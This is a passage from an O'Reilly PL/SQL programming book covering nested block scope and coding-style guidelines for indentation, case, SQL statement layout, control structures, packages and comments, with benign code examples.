Use those local variables and other PL/SQL objects to perform the required actions (execution section).

Step 4

Handle any problems that arise during the execution of the block (exception section).

2.7.2 Scope of a Block

In the declaration section of the block, you may define variables, modules, and other structures. These declarations are local to that block. When the execution of the block finishes, those structures no longer exist. For example, if you open a cursor in a block, that cursor is automatically closed at the end of the block.

The block is the scope of any objects declared in that block. The block also provides the scope for exceptions that are declared and raised. In fact, one of the most important reasons to create a block is to take advantage of the exception section that comes with that block. It gives you a finer granularity of control over how you can handle errors in your programs.

2.7.3 Nested Blocks

A block may also contain nested sub-blocks of code. The following example shows a procedure with an anonymous, nested block defined within it:

PROCEDURE calc_totals
IS
   year_total NUMBER;
BEGIN
   year_total := 0;

   /* Nested anonymous block */
   DECLARE
      month_total NUMBER;
   BEGIN
      month_total := year_total / 12;
   END;

END;

Notice that I can reference the year_total variable inside the nested block. Any element declared in an outer block is global to all blocks nested within it. Any element declared within an inner block cannot, however, be referenced in an outer block.

Although I refer to the PL/SQL block structure throughout this book, it will figure most prominently in Part 4, Modular Code .

Previous: 2.6 The PRAGMA Keyword | Oracle PL/SQL Programming, 2nd Edition | Next: 3. Effective Coding Style
2.6 The PRAGMA Keyword | Book Index | 3. Effective Coding Style
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] Effective Coding Style

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 2.7 Block Structure Chapter 3 Next: 3.2 Formatting SQL Statements

3. Effective Coding Style

Contents:
Fundamentals of Effective Layout
Formatting SQL Statements
Formatting Control Structures
Formatting PL/SQL Blocks
Formatting Packages
Using Comments Effectively
Documenting the Entire Package

You can learn everything about a programming language -- its syntax, high-performance tips, and advanced features -- and still write programs that are virtually unreadable, hard to maintain, and devilishly difficult to debug -- even by you, the author. You can be very smart and very clever, and yet develop applications that obscure your talent and accomplishments.

This chapter addresses the "look-and-feel" of your code -- the aesthetic aspect of programming. I am sure that you have all experienced the pleasure of reading well-structured and well-formatted code. You have also probably experienced a pang of jealousy at that programmer's style and effort, wondering where she or he found the time to do it right. Developers always experience a feeling of intense pride and satisfaction from carefully and artfully designing the visual layout of their code. Yet few of us take the time to develop a style and use it consistently in our work.

Of course, the impact of a coding style goes well beyond the personal satisfaction of any individual. A consistent, predictable approach to building programs makes it easier to debug and maintain that code. If everyone takes her own approach to structuring, documenting, and naming her code, every program becomes its own little pool of quicksand. It is virtually impossible for another person to put in a foot and test the water (find the source of a problem, analyze dependencies, etc.) without being pulled under.

I discuss the elements of an effective coding style in the PL/SQL language at this juncture, before we get to any code, for two reasons:

  • To drive home the point that if you are going to adopt a coding style which will improve the readability and maintainability of your application, you need to do it at the beginning of your project. Programming style involves an attention to detail that can be built only during the construction process. You are not going to go back into existing code and modify the indentation, case, and documentation format after the project is done.

  • To provide an explanation for the format and style which I employ throughout the book. While I can't promise that every line of code in the book will follow all of the guidelines in this chapter, I hope that you will perceive a consistent style that is easy on the eye and helpful in aiding comprehension.

Views on effective coding style are often religious in nature (similar to programmers' ideas on the use of GOTO) -- that is, based largely on faith instead of rationality. I don't expect you to agree with everything in this chapter (actually, in a number of places I suggest several alternatives). Such unanimity is unrealistic and unnecessary. Rather, I hope that this chapter gets you thinking about the style in your own programming.

3.1 Fundamentals of Effective Layout

There is really just one fundamental objective of code layout:

Reveal and reinforce the logical structure of your program.

You could come up with ways of writing your code that are very pleasing to the eye, but doing so is less important than choosing a format that shows the structure and intent of the program.

It is easy to address the topic of effective code layout for PL/SQL because it is such a well structured language. It benefits greatly from Ada's block structure approach. Each control construct, such as IF and LOOP, has its own terminator keyword, such as END IF and END LOOP. Each logical block of code has an explicit beginning statement and an associated ending statement. This consistent and natural block style lends itself easily and naturally to standards for indentation and whitespace, which further expose the structure of the code.

3.1.1 Revealing Logical Structure with Indentation

Indentation is one of the most common and effective techniques used to display a program's logic via format. As illustrated in the following examples, programs that are indented are easier to read than those that are not indented, although programs that use excessive indentation are not much more readable than unindented programs. Here is an unindented IF statement:

IF to_number(the_value) > 22
THEN
IF max_totals = 0
THEN
calc_totals;
ELSE
WHILE more_data
LOOP
analyze_results;
END LOOP;
END IF;
END IF;

The lack of indentation in this example makes it very difficult to pick out the statements that go with each clause in the IF statement. Some developers, unfortunately, go to the opposite extreme and use six or more spaces for indentation. (This usually occurs by relying on the tab key, which offers "logical" indentation -- a tab can be equivalent to three spaces in one editor and eight in another. I suggest avoiding the use of tabs altogether.)

I have found that a three-space indentation not only adequately reveals the logical structure of the code but also keeps the statements close enough together to read comfortably. And, with deeply nested structures, you won't run off the right margin as quickly! Here is the three-space indented version of the previous nested IF statement:

IF to_number(the_value) > 22
THEN
   IF max_totals = 0
   THEN
      calc_totals;
   ELSE
      WHILE more_data
      LOOP
         analyze_results;
      END LOOP;
   END IF;
END IF;

The rest of this chapter presents specific techniques that I have found to be essential in writing attractive, readable code that reveals the logic of my programs.

3.1.2 Using Case to Aid Readability

PL/SQL code is made up of many different components: variables, form items, report fields, procedures, functions, loops, declarations, control elements, etc. But they break down roughly into two types of text: reserved words and application-specific names or identifiers.

Reserved words are those names of language elements that are reserved by PL/SQL and have a special meaning for the compiler. Some examples of reserved words in PL/SQL are:

WHILE
IF
BEGIN
TO_CHAR

Application-specific identifiers are the names that you, the programmer, give to data and program structures that are specific to your application and that vary from system to system.

The compiler treats these two kinds of text very differently. You can improve the readability of your code greatly by reflecting this difference in the way the text is displayed. Many developers make no distinction between reserved words and application-specific identifiers. Consider the following lines of code:

if to_number(the_value)>22 and num1 between lval and hval
then
   newval := 100;
elsif to_number(the_value) < 1
then
   calc_tots(to_date('12-jan-95'));
else
   clear_vals;
end if;

While the use of indentation makes it easier to follow the logical flow of the IF statement, all the words in the statements tend to blend together. It is difficult to separate the reserved words and the application identifiers in this code. Changing entirely to uppercase also will not improve matters. Indiscriminate, albeit consistent, use of upper- or lowercase for your code reduces its readability. The distinction between reserved words and application-specific identifiers is ignored in the formatting. This translates into a loss of information and comprehension for a developer.

3.1.3 The UPPER-lower Style

You can easily solve this problem by adopting a guideline for using a mix of upper- and lowercase to your code. I have recoded my previous example below, this time using the UPPER-lower style: all reserved words are written in UPPERCASE and all application names are kept in lowercase:

IF to_number(the_value) > 22 AND
   num1 BETWEEN lval AND hval
THEN
   newval := 100;
ELSIF TO_NUMBER (the_value) < 1
THEN
   calc_tots (TO_DATE ('12-jan-95'));
ELSE
   clear_vals;
END IF;

Using a mixture of upper- and lowercase words increases the readability of the code by giving a sense of dimension to the code. The eye can more easily cruise over the text and pick the different syntactical elements of each statement. The uppercase words act as signposts directing the activity in the code. You can focus quickly on the lowercase words for the application-specific content. Consistent use of this method makes the program listings more attractive and accessible at a glance.

3.1.4 Formatting Single Statements

Most of your code consists of individual statements, such as assignments, calls to modules, and declarations. A consistent approach to formatting and grouping such statements will improve the readability of your program as a whole. This section suggests some guidelines.

3.1.4.1 Use at most one statement per line

As we discussed in Chapter 2, PL/SQL Language Fundamentals, PL/SQL uses the semicolon (;) as the logical terminator for a statement. As a result you can have more than one statement on a line and you can continue a single executable statement over more than one line. You will sometimes be tempted to place several statements on a single line, particularly if they are very simple. Consider the following line:

new_id := 15; calc_total (new_id); max_dollars := 105 * sales_adj;

It is very difficult to pick out the individual statements in this line, in addition to the fact that a procedure is called in the middle of the line. By placing each statement on its own line you mirror the complexity of a program -- the simple lines look simple and the complex statements look complex -- and reinforce the top-to-bottom logic of the program:

new_id := 15;
calc_total (new_id);
max_dollars := 105 * sales_adj;

You can scan the left margin (which will move left and right depending on the logic and corresponding indentation) and know that you are reviewing all the lines of code.

3.1.4.2 Use whitespace inside a statement

You can use all the indentation and blank lines you want to reveal the logic of a program and still end up with some very dense and unreadable code. It is also important to employ whitespace within a single line to make that one statement more comprehensible. Here are two general rules I employ in my code:

  • Always include a space between every identifier and separator in a statement. Instead of this:

    WHILE(total_sales<maximum_sales AND company_type='NEW')LOOP

    write this:

    WHILE (total_sales < maximum_sales AND company_type = 'NEW') LOOP

  • Use spaces to make module calls and their parameter lists more understandable. Instead of this:

    calc_totals(company_id,LAST_DAY(end_of_year_date),total_type);

    write this:

    calc_totals (company_id, LAST_DAY (end_of_year_date), total_type);

3.1.5 Formatting Your Declarations

The declaration section declares the local variables and other structures to be in your PL/SQL block. This section comes right at the top of the block, so it sets the first impression for the rest of the program. If the declaration section has no apparent order and is poorly formatted, it is unlikely that anything else in that program will be easily understood.

The declaration section in PL/SQL can contain many different kinds of declarations: simple, scalar variables; complex data structures like records and tables; exceptions; even entire subprograms which exist only in that program.

The following sections give some guidelines for creating your declaration statements.

3.1.5.1 Place one declaration on each line

You will be particularly tempted to "double up" declarations on a single line because, in general, declarations are very short in length. Resist that temptation! Which of the following sets of declarations would you prefer to try to understand at a glance?

DECLARE
   comp_type VARCHAR2(3); right_now DATE := SYSDATE; month_num INTEGER;

or:

DECLARE
   comp_type VARCHAR2(3);
   right_now DATE := SYSDATE;
   month_num INTEGER;

3.1.5.2 Ignore alignment for declarations

Many programmers like to align their declarations -- for example:

DECLARE
   company_name      VARCHAR2(30);
   company_id        INTEGER;

   employee_name     VARCHAR2(60);
   hire_date         DATE;
   termination_date  DATE;

   min_value         NUMBER;

I am not convinced of the value of declaration alignment. Although alignment makes it easier to scan down the datatypes, the datatype isn't nearly as important as the identifier, which is already left-justified. A commitment to alignment also raises all kinds of questions that consume a developer's time and thought processes: If you have one long variable name, do you have to move all the other datatypes out to match that datatype declaration? What about when you add a new, very long declaration into an existing section? Do you have to go back and add a tab or two to the existing declarations?

The elegance of alignment also breaks down when you include comments above individual declarations, as shown in the following example:

DECLARE
   company_name      VARCHAR2(30);
   /* Primary key into company table */
   company_id        INTEGER;

   employee_name     VARCHAR2(60);
   /* Date hired; must be no greater than today's date. */
   hire_date         DATE;
   termination_date  DATE;

   min_value         NUMBER;

When the comment text cuts across the vast spaces of the alignment tabs, it just makes the datatype look isolated from its identifier.

I believe that you are better off ignoring alignment for declarations.[1] Keep the elements of the declaration (datatype and default value) close to the identifier.

[1] I recognize, however, that many developers I respect greatly for their code quality and elegance differ with me strongly on this point.

3.1.6 Formatting Multiline Statements

Because a statement is terminated by a semicolon (;) rather than by the physical end of the line, statements can be continued onto additional lines without any specific continuation symbol or operator. This makes it very easy to spread a statement across more than one line, but it can also make it difficult to read across these lines.

Here are some examples of multiline statements that are hard to follow:

IF total_sales < maximum_sales AND company_type = 'NEW' AND (override
= 'Y' OR total_company_revenue < planned_revenue (SYSDATE))
THEN
   accept_order;
END IF;

generate_company_statistics (company_id, last_year_date
, rollup_type, total, average, variance, budgeted, next_year_plan);

total_sales := product_sales (company_id) + admin_cutbacks *
.5 - overhead - golden_parachutes;

The format of these continuation lines highlights a key question: How do you best break up a complex expression so the different parts can be read clearly, but still be connected to the statement as a whole? The following guidelines respond to this question and produce much cleaner code.

3.1.6.1 Use indentation to offset all continuation lines under the first line.

This is the most important guideline. The best way to identify continuation lines is to use indentation to logically subsume those lines under the main or first line of the statement. The following call to generate_company_statistics is obscured because the continuation line butts right up against the left margin with the module name:

generate_company_statistics (company_id, last_year_date,
rollup_type, total, average, variance, budgeted, next_year_plan);

If I indent the continuation line, the relationship of the second line to the first becomes clear:

generate_company_statistics (company_id, last_year_date,
   rollup_type, total, average, variance, budgeted, next_year_plan);

This attempt to recode, however, shows that simply adding an indentation isn't always enough. While it is clear that the line starting with rollup_type "belongs" to the previous line, the relationship of the text on the continuation line to that of the first line is unclear. We need more than a simple call to "Indent." There are several possible approaches:

Indent module-call continuation lines to align all parameters vertically.

You can place a single parameter on each line for maximum clarity, or include more than one parameter on a line -- as long as they are properly indented. You can even break up the parameters so that related parameters go together on separate lines. If the name of the procedure is long and results in pushing the alignment column for parameters too far to the right, start the entire parameter list on the next line (indented) and then align all parameters against that second line. Here are some examples illustrating these rules:

gen_stats (company_id, last_year_date, rollup_type,
          total, average, variance, budgeted, next_year_plan);

gen_stats (company_id,
          last_year_date,
          rollup_type,
          total,
          average,
          variance,
          budgeted,
          next_year_plan);

gen_stats
   (company_id, last_year_date, rollup_type,
    total, average, variance, budgeted, next_year_plan);

I prefer the third alternative, in which all parameters are moved to the line following the name of the module. You can then place multiple parameters on the same line or place one parameter on each line, but the indentation is always and only the standard three spaces in from the start of the module name.

Make it very obvious that a statement is continued.

If a statement is not going to fit onto a single line, break up the statement so that it is quite obvious, with the most casual glance, that the first line could not possibly finish the statement. The following examples highlight this approach:

  • The IN statement of a loop clearly needs its range:

    FOR month_index IN
   first_month .. last_month
LOOP
   ...

  • An assignment could not possibly end with a "+":

    q1_sales :=
   month1_sales +
   month2_sales +
   month3_sales;

  • The last comma in the first line of parameters indicates that other parameters follow:

    generate_company_statistics
   (company_id, last_year_date,
    rollup_type, total, average, variance, budgeted, next_year_plan);

Previous: 2.7 Block Structure | Oracle PL/SQL Programming, 2nd Edition | Next: 3.2 Formatting SQL Statements
2.7 Block Structure | Book Index | 3.2 Formatting SQL Statements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.2 Formatting SQL Statements

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

3.2 Formatting SQL Statements

Because PL/SQL is an extension to the SQL language, you can place SQL statements directly in your PL/SQL programs. You can also define cursors based on SELECT statements. This section summarizes my suggestions for formatting SQL statements and cursors for maximum readability.

PL/SQL supports the use of four SQL DML (Data Manipulation Language) statements: INSERT, UPDATE, DELETE, and SELECT. Each of these statements is composed of a series of "clauses," as in the WHERE clause and the ORDER BY clause. SQL statements can be very complex, to say the least. Without a consistent approach to indentation and alignment inside these statements, you can end up with a real mess. I have found the following guidelines useful:

Right-align the reserved words for the clauses against the DML statement.

I recommend that you visually separate the SQL reserved words which identify the separate clauses from the application-specific column and table names. The following table shows how I use right-alignment on the reserved words to create a vertical border between them and the rest of the SQL statement:

SELECT INSERT UPDATE DELETE
SELECT
  FROM

 WHERE
   AND
    OR

 GROUP BY

HAVING
   AND
    OR

 ORDER BY

INSERT INTO
     VALUES

INSERT INTO
     SELECT
       FROM
      WHERE

UPDATE
   SET
 WHERE

DELETE
  FROM
 WHERE

Here are some examples of this format in use:

SELECT last_name, first_name
  FROM employee
 WHERE department_id = 15
   AND hire_date < SYSDATE;

SELECT department_id, SUM (salary) AS total_salary
  FROM employee
 GROUP BY department_id
 ORDER BY total_salary DESC;

INSERT INTO employee
   (employee_id, ... )
 VALUES
   (105 ... );

DELETE FROM employee
      WHERE department_id = 15;

UPDATE employee
   SET hire_date = SYSDATE
 WHERE hire_date IS NULL
   AND termination_date IS NULL;

Yes, I realize that the GROUP BY and ORDER BY keywords aren't exactly right-aligned to SELECT, but at least the primary words (GROUP and ORDER) are aligned. Notice that within each of the WHERE and HAVING clauses I right-align the AND and OR Boolean connectors under the WHERE keyword.

This right alignment makes it very easy for me to identify the different clauses of the SQL statement, particularly with extended SELECTs. You might also consider placing a blank line between clauses of longer SQL statements (this is possible in PL/SQL, but is not acceptable in "native" SQL executed in SQL*Plus).

Don't skimp on the use of line separators.

Within clauses, such separation makes the SQL statement easier to read. In particular, place each expression of the WHERE clause on its own line, and consider using a separate line for each expression in the select list of a SELECT statement. Place each table in the FROM clause on its own line. Certainly, put each separate assignment in a SET clause of the UPDATE statement on its own line. Here are some illustrations of these guidelines:

SELECT last_name,
       C.name,
       MAX (SH.salary) best_salary_ever
  FROM employee E,
       company C,
       salary_history SH
 WHERE E.company_id = C.company_id
   AND E.employee_id = SH.employee_id
   AND E.hire_date > ADD_MONTHS (SYSDATE, -60);

UPDATE employee
   SET hire_date = SYSDATE,
       termination_date = NULL
 WHERE department_id = 105;

NOTE: You can place blank lines inside a sql statement when you are coding that sql from within a pl/sql block. You may not, on the other hand, embed white space in sql statements you are executing from the sql*Plus command line.

Use meaningful abbreviations for table and column aliases

It drives me crazy when a query has a six-table join and the tables have been assigned aliases A, B, C, D, E, and F. How can you possibly decipher the WHERE clause in the following SELECT?

SELECT ... select list ...
  FROM employee A, company B, history C, bonus D,
       profile E, sales F
 WHERE A.company_id = B.company_id
   AND A.employee_id = C.employee_id
   AND B.company_id = F.company_id
   AND A.employee_id = D.employee_id
   AND B.company_id = E.company_id;

With more sensible table aliases (including no tables aliases at all where the table name was short enough already), the relationships are much clearer:

SELECT ... select list ...
  FROM employee EMP, company CO, history HIST, bonus,
       profile PROF, sales
 WHERE EMP.company_id = CO.company_id
   AND EMP.employee_id = HIST.employee_id
   AND CO.company_id = SALES.company_id
   AND EMP.employee_id = BONUS.employee_id
   AND CO.company_id = PROF.company_id;

Previous: 3.1 Fundamentals of Effective Layout | Oracle PL/SQL Programming, 2nd Edition | Next: 3.3 Formatting Control Structures
3.1 Fundamentals of Effective Layout | Book Index | 3.3 Formatting Control Structures
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.3 Formatting Control Structures

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

3.3 Formatting Control Structures

The control structures in your program are the most direct representation of the logic needed to implement your specifications. The format of these control structures, therefore, will have a significant impact on the readability of your code.

Indentation is the most important element of control structure layout. Always keep statements of the same "logical level" at the same indentation level. Let's see what this means for the various control structures of PL/SQL.

3.3.1 Formatting IF Statements

This conditional construct comes in three flavors:

IF <expression>
END IF;

IF <expression>
ELSE
END IF;

IF <expression>
ELSEIF <expression>
ELSE
END IF;

In general, the IF statement is composed of clauses in which there is a Boolean expression or condition and a section of code executed when that condition evaluates to TRUE.

So if you want to use indentation to reveal the logical structure of the simplest form of the IF statement (IF-END IF), I suggest one of these two styles:

New Line for THEN Same Line for THEN
IF <expression>
THEN
   executable_statements;
END IF;

IF <expression> THEN
   executable_statements
END IF;

IF <expression>
THEN
   executable_statements;
ELSE
   else_executable_statements;
END IF;

IF <expression> THEN
   executable_statements
ELSE
   else_executable_statements;
END IF;

IF <expression>1
THEN
   executable_statements1;

ELSEIF <expression2>
THEN
   executable_statements2;
...

ELSEIF <expressionN>
THEN
   executable_statementsN;

ELSE
   else_executable_statements;
END IF;

IF <expression>1 THEN
   executable_statements1;

ELSEIF <expression2> THEN
   executable_statements2;
...

ELSEIF <expressionN> THEN
   executable_statementsN;

ELSE
   else_executable_statements;
END IF;

Notice that in both versions the executable statements are indented three spaces from the column in which the IF and END IF reserved words are found. The only difference between the two formats is the placement of the THEN reserved word. I prefer the new line format, in which the THEN appears on a line by itself after the IF condition. This format provides more whitespace than the other. I could create the whitespace by using a blank, rather than indenting three spaces, but then the executable statements for the IF clause are made distinct from the condition -- and they are logically connected. Let's examine some actual code to get a better sense of the differences.

The following example shows proper IF statement indentation with THEN on the same line:

IF max_sales > 2000 THEN
   notify_accounting ('over_limit');
   RAISE FORM_TRIGGER_FAILURE;
END IF;

This code has proper IF statement indentation with THEN on the next line:

IF max_sales > 2000
THEN
   notify_accounting ('over_limit');
   RAISE FORM_TRIGGER_FAILURE;
END IF;

3.3.2 Formatting Loops

You are going to be writing many loops in your PL/SQL programs, and they will usually surround some of the most complicated code in your application. For this reason, the format you use to structure your loops will make a critical difference in the overall comprehensibility of your programs.

PL/SQL offers the following kinds of loops:

  • Infinite or simple loop

  • WHILE loop

  • Indexed FOR loop (numeric and cursor)

Each loop has a loop boundary (begin and end statements) and a loop body. The loop body should be indented from the boundary (again, I recommend three spaces of indentation).

As with the IF statement, you can either choose to leave the LOOP reserved word at the end of the line containing the WHILE and FOR statements or place it on the next line. I prefer the latter, because then both the LOOP and END LOOP reserved words appear at the same column position (indentation) in the program.

Here are my recommendations for formatting your loops:

  • The infinite or simple loop:

LOOP
   executable_statements;
END LOOP;

  • The WHILE loop:

    WHILE condition
LOOP
   executable_statements;
END LOOP;

  • The numeric and cursor FOR loops:

    FOR for_index IN low_value .. high_value
LOOP
   executable_statements;
END LOOP;

FOR record_index IN my_cursor
LOOP
   executable_statements;
END LOOP;

3.3.3 Formatting Exception Handlers

PL/SQL provides a very powerful facility for dealing with errors. An entirely separate exception section contains one or more "handlers" to trap exceptions and execute code when that exception occurs. Logically, the exception section is structured like a conditional CASE statement (which, by the way, is not supported by PL/SQL).

As you might expect, the format for the exception section should resemble that of an IF statement. Here is a general example of the exception section:

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      executable_statements1;

   WHEN DUP_VAL_ON_INDEX
   THEN
      executable_statements1;

   ...
   WHEN OTHERS
   THEN
      otherwise_code;
END;

Instead of an IF or ELSIF keyword, the exception handler uses the word WHEN. In place of a condition (Boolean expression), the WHEN clause lists an exception name followed by a THEN and finally the executable statements for that exception. In place of ELSE, the exception section offers a WHEN OTHERS clause.

Follow these guidelines:

  • Indent each WHEN clause in from the EXCEPTION keyword that indicates the start of the exception section, as I've shown above. Place the THEN directly below the WHEN.

  • Indent all the executable statements for that handler in from the THEN keyword.

  • Place a blank line before each WHEN (except for the first).

Previous: 3.2 Formatting SQL Statements | Oracle PL/SQL Programming, 2nd Edition | Next: 3.4 Formatting PL/SQL Blocks
3.2 Formatting SQL Statements | Book Index | 3.4 Formatting PL/SQL Blocks
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.4 Formatting PL/SQL Blocks

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

3.4 Formatting PL/SQL Blocks

As I've outlined in Chapter 2, every PL/SQL program is structured as a block containing up to four sections:

  • Header

  • Declaration section

  • Executable section

  • Exception section

The PL/SQL block structure forms the backbone of your code. A consistent formatting style for the block, therefore, is critical. This formatting should make clear these different sections. (See Chapter 15, Procedures and Functions, for more information about the block structure.)

Consider the following function:

FUNCTION
company_name (company_id_in IN company.company_id%TYPE)    RETURN
VARCHAR2 IS cname company.company_id%TYPE; BEGIN
   SELECT name INTO cname FROM company
    WHERE company_id = company_id_in;
   RETURN cname;
EXCEPTION WHEN NO_DATA_FOUND THEN   RETURN NULL; END;

You know that this program is a function because the first word in the program is FUNCTION. Other than that, however, it is very difficult to follow the structure of this program. Where is the declaration section? Where does the executable section begin and end?

Here is that same function after we apply some straightforward formatting rules to it:

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2
IS
   cname company.company_id%TYPE;

BEGIN
   SELECT name INTO cname FROM company
    WHERE company_id = company_id_in;
   RETURN cname;

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      RETURN NULL;
END;

Now it is easy to see that the header of the function consists of:

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2

The declaration section, which comes after the IS and before the BEGIN, clearly consists of a single declaration of the cname variable. The executable section consists of all the statements after the BEGIN and before the EXCEPTION statement; these are indented in from the BEGIN. Finally, the exception section shows a single specific exception handler and a WHEN OTHERS exception.

Generally, indent the statements for a given section from the reserved words which initiate the section. You can also include a blank line before each section, as I do above, for the executable section (before BEGIN) and the exception section (before EXCEPTION). I usually place the IS keyword on its own line to clearly differentiate between the header of a module and its declaration section.

Previous: 3.3 Formatting Control Structures | Oracle PL/SQL Programming, 2nd Edition | Next: 3.5 Formatting Packages
3.3 Formatting Control Structures | Book Index | 3.5 Formatting Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.5 Formatting Packages

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

3.5 Formatting Packages

A package is a collection of related objects, including variables, TYPE statements (to define structures for records, tables, and cursors), exceptions, and modules. We have already covered structuring all the different objects which make up a package. Now, let's take a look at how to structure the package itself.

A package has both a specification and a body. The package specification contains the declarations or definitions of all those objects that are visible outside of the package -- the public objects. This means that the objects can be accessed by any account that has been granted EXECUTE authority on the package. The package body contains the implementation of all cursors and modules defined in the specification, and the additional declaration and implementation of all other package objects. If an object, such as a string variable, is declared in the body and not in the package, then any module in the package can reference that variable, but no program outside of the package can see it. That variable is invisible or private to the package.

The first point to make about the package structure is that all objects declared in the specification exist within the context of the package and so should be indented from the PACKAGE statement itself, as shown below:

PACKAGE rg_select
IS
   list_name VARCHAR2(60);

   PROCEDURE init_list
      (item_name_in IN VARCHAR2,
       fill_action_in IN VARCHAR2 := 'IMMEDIATE');
   PROCEDURE delete_list;
   PROCEDURE clear_list;

END rg_select;

The same is true for the package body. I suggest that you always include a label for the END statement in a package so that you can easily connect up that END with the end of the package as a whole. I place the IS keyword on a new line to set off the first declaration in the package from the name of the package. You could always use a blank line. Notice that I use blank lines in rg_select to segregate different modules which are related by function. I think that logical grouping is always preferable to an arbitrary grouping such as alphabetical order.

The other important element in formatting a package is the order in which objects are listed in the package. I generally list objects in the order of complexity of their structure, as follows:

  • Scalar variables, such as a VARCHAR2 declaration

  • Complex datatypes, such as records and tables

  • Database-related declarations, such as cursors

  • Named exceptions

  • Modules (procedures and functions)

As with simple variable declarations, I sometimes have many different but related objects in my package. If so, I might group those types of objects together. But within that grouping, I still follow the above order.

Previous: 3.4 Formatting PL/SQL Blocks | Oracle PL/SQL Programming, 2nd Edition | Next: 3.6 Using Comments Effectively
3.4 Formatting PL/SQL Blocks | Book Index | 3.6 Using Comments Effectively
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.6 Using Comments Effectively

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

3.6 Using Comments Effectively

The object of an effective coding style is to make the program more understandable and maintainable. Most programs will benefit from documentation which explains what is going on inside those programs. There are two forms of code documentation: external and internal. External documentation is descriptive information about a program which is written and stored separately from the program itself. Internal documentation, also known as inline documentation or comments, is placed within the program itself, either at the program level or the statement level. (For an introduction to inline documentation and the types of PL/SQL comments, see the section called Section 2.5, "Comments"" in Chapter 2.)

The best kind of internal documentation derives from your programming style. If you apply many of the guidelines in this chapter and throughout this book, you will be able to write code which is, to a great extent, self-documenting. Here are some general tips:

  • Write straightforward code that avoids clever tricks.

  • Think of names for variables and modules that accurately describe their purpose.

  • Use named constants instead of literal values.

  • Employ a clean, consistent layout.

Do all these things and more, and you will find that you need to write fewer comments to explain your code.

Reducing the need for comments is important. Few developers make or have the time for extensive documentation in addition to their development efforts, and, more importantly, many comments tend to duplicate the code. This raises a maintenance issue because those comments will have to be changed when the code is changed.

While it is my hope that after reading this book you will write more self-documenting code, there is little doubt that you will still need to comment your code. The following example shows the use of single- and multiline comments in PL/SQL:

PROCEDURE calc_totals (company_id IN NUMBER,--The company key
                       total_type IN VARCHAR2--ALL or NET
                      );

/*
|| For every employee hired more than five years ago,
|| give them a bonus and send them an e-mail notification.
*/
FOR emp_rec IN emp_cur (ADD_MONTHS (SYSDATE, -60))
LOOP
   apply_bonus (emp_rec.employee_id);
   send_notification (emp_rec.employee_id);
END LOOP;

-- IF :SYSTEM.FORM_STATUS = 'CHANGED' THEN COMMIT; END IF;

FUNCTION display_user
   (user_id IN NUMBER /* Must be valid ID */, user_type IN VARCHAR2)

The first example uses the single-line comment syntax to include endline descriptions for each parameter in the procedure specification. The second example uses a multiline comment to explain the purpose of the FOR loop. The third example uses the double-hyphen to comment out a whole line of code. The last example embeds a comment in the middle of a line of code using the block comment syntax.

These two types of comments offer the developer flexibility in how to provide inline documentation. The rest of this section offers guidelines for writing effective comments in your PL/SQL programs.

3.6.1 Comment As You Code

It is very difficult to make time to document your code after you have finished writing your program. Psychologically, you want to (and often need to) move on to the next programming challenge after you get a program working.

You may also have a harder time writing your comments once you have put some distance between your brain cells and those lines of code. Why exactly did you write the loop that way? Where precisely is the value of that global variable set? Unless you have total recall, post-development documentation can be a real challenge.

The last and perhaps most important reason to write your comments as you write your code is that the resulting code will have fewer bugs and (independent of the comments themselves) be easier to understand.

When you write a comment you (theoretically) explain what your code is meant to accomplish. If you find it difficult to come up with that explanation, there is a good chance that you lack a full understanding of what the program does or should do.

The effort that you make to come up with the right comment will certainly improve your comprehension, and may also result in code correction. In this sense, good inline documentation can be as beneficial as a review of your code by a peer. In both cases, the explanation will reveal important information about your program.

3.6.2 Explain the Why -- Not the How -- of Your Program

What do you think of the comments in the following Oracle Forms trigger code?

-- If the total compensation is more than the maximum...
IF :employee.total_comp > maximum_salary
THEN
   -- Inform the user of the problem.
